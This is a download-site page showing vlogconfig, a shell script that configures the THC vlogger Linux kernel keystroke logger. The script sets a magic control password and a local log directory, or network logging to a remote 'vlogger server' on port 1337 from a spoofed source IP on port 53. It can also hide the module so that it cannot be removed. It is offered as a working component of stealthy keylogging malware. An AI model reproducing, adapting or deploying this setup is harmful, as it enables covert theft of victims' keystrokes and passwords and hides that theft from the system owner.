⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 vlogconfig

📁 在Linux的一个获取键值的程序
💻
字号:
#!/bin/sh## Copyright (C) 2002-2003 rd <rd@thc.org>## This script handles all aspects of configuring the vlogger. # get user input datagetdata() {	local myvar="$1"	shift	# print out the message	echo -en "$@"	read data	if [ ! -z "$data" ] ; then		eval $myvar="$data"	fi	echo}PATH=/usr/sbin:/sbin:/usr/bin:/bin:/usr/local/sbin:/usr/local/binexport PATHumask 022clearhead -10 READMEechocat NOTICEecho# start configurationecho -n "Continue y/N? [N]: "read answer[ "${answer#[yY]}" = "$answer" ] && exit 1echo# Config vlogger optionsMAGIC_PASS=""while [ -z "$MAGIC_PASS" ] ; do	getdata MAGIC_PASS "Please choose magic password for logmode switching (echoed): "done# Set timezoneTIMEZONE=`date +"%z" | awk '{ print $1/100; }'`getdata TIMEZONE "Please choose timezone (offset to GMT, from -12 to 13) [$TIMEZONE]: "# Log method# 0: local file, 1: networkLOG_METHOD=0getdata LOG_METHOD "Please choose log method (0: local file, 1: network) [$LOG_METHOD]: "# Default log mode# 0: nolog, 1: dumb, 2: smartLOG_MODE=1getdata LOG_MODE "Please choose default log mode (0: nolog, 1: dumb, 2: smart) [$LOG_MODE]: "if [ $LOG_METHOD -eq 0 ] ; then	LOG_DIR=""			while [ -z "$LOG_DIR" ] ; do		getdata LOG_DIR "In which directory do you want to save log data: "	done		if [ ! -d "$LOG_DIR" ]; then		mkdir -p $LOG_DIR || exit $?	fielse	SRC_IP=""	getdata SRC_IP "Fake source IP address (enter to use IP of output device) [none]: "	SRC_PORT="53"	getdata SRC_PORT "Source port [$SRC_PORT]: "	DEST_IP=""	while [ -z "$DEST_IP" ] ; do		getdata DEST_IP "vlogger server's IP address: "	done	DEST_PORT="1337"	getdata DEST_PORT "Destination port [$DEST_PORT]: "fiHIDE=0echo -n "Autohide vlogger module after loaded (you can't remove vlogger after that) y/N? [N]: "read answer[ ! "${answer#[yY]}" = "$answer" ] && HIDE=1# Update vlogctrl echo -e "Updating vlogctrl ..."sed -e "s#MAGIC_PASS=\(.*\)#MAGIC_PASS=$MAGIC_PASS#; \	s#LOG_MODE=\(.*\)#LOG_MODE=$LOG_MODE#; \	s#LOG_METHOD=\(.*\)#LOG_METHOD=$LOG_METHOD#; \	s#TIMEZONE=\(.*\)#TIMEZONE=$TIMEZONE#; \	s#LOG_DIR=\(.*\)#LOG_DIR=$LOG_DIR#; \	s#HIDE=\(.*\)#HIDE=$HIDE#; \	s#SRC_IP=\(.*\)#SRC_IP=$SRC_IP#; \	s#SRC_PORT=\(.*\)#SRC_PORT=$SRC_PORT#; \	s#DEST_IP=\(.*\)#DEST_IP=$DEST_IP#; \	s#DEST_PORT=\(.*\)#DEST_PORT=$DEST_PORT#; " \	> ./vlogctrl < ./vlogctrl.gen || exit $?chmod +x ./vlogctrlecho Done!

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -